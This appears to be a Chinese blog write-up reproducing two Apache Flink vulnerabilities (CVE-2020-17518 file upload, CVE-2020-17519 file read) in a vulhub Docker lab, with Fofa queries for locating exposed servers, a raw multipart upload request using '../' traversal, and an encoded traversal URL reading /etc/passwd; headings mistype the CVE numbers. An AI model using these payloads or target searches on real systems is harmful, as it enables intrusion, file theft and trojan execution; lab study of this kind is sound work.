• (CVE-2020-17518&17519)Apache flink 任意文件上传&目录遍历


    参考连接:https://mp.weixin.qq.com/s/Nzh5QxMK3XMoISE6Y3UJMA

    描述

    2021年1月5日,Apache 官方发布新的漏洞通告,修复了flink两个高危漏洞(CVE-2020-17518/17519)。这两个高危漏洞均由于引入存在缺陷的REST API导致。
    CVE-2020-17518:攻击者通过构造恶意的HTTP请求配合../实现目录穿越,可完成任意文件上传。
    CVE-2020-17519:攻击者通过JobManager的REST API接口结合../实现目录遍历,进而实现任意文件读取。

    影响版本

    CVE-2020-17518:
    Apache Flink 1.5.1-1.11.2
    CVE-2020-17519:
    Apache Flink 1.11.0、1.11.1、1.11.2

    Fofa

    app="Apache-Flink"
    app="Apache‐Flink" && country="CN"
    

    环境搭建

    项目地址:
    https://github.com/vulhub/vulhub/tree/master/flink
    (因为不会下载单个地址于是就下载了整个项目)
    具体注意事项请参考https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
    1.进入项目地址

    cd vulhub/flink/CVE-2020-17518
    docker-compose up -d
    


    2.查看docker环境,发现已自动启动docker环境

    docker ps
    


    3.尝试访问文件,环境搭建成功

    http://<ip>:8081/
    

    CVE-2020-15718漏洞复现

    POC

    POST /jars/upload HTTP/1.1
    Host: localhost:8081
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
    Content-Length: 187
    
    ------WebKitFormBoundaryoZ8meKnrrso89R6Y
    Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
    
    success
    ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
    

    漏洞地址在下方图片位置

    可直接上传jar类型木马(木马会自动执行)
    请参考:https://www.cnblogs.com/KHZ521/p/14023011.html
    可通过../../的方式进行路径跳转

    上传失败提示:

    上传成功提示

    这里查看上传文件发现不存在,可能是因为docker环境搭建的,而我访问的是docker外的物理路径

    CVE-2020-15719漏洞复现

    POC

    /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
    

    结束语

    我测试了一下我上面出现的关于文件上传失败的问题,其实是文件上传成功的,不过因为是docker环境吗,而我查看的路径为物理机路径,应该查看dokcer中的路径才正确。是根据CVE-2020-15719中的文件读取,在etc下使用vi新建123文件,但是读取失败并提示找不到文件得到的结论

    使用vi新建123文件

    读取失败了

  • 相关阅读:
    第五篇:常用模块
    第三篇:函数
    第七篇:面向对象高级
    第二篇:流程控制、数据类型、字符编码、文件处理
    第一篇:python入门
    Python-计算机硬件基础
    PYTHON-UDP
    PYTHON-TCP 粘包
    PYTHON-网络通信 TCP
    English Voice of <<Something just like this>>
  • 原文地址:https://www.cnblogs.com/KHZ521/p/14265458.html
Copyright © 2020-2023  润新知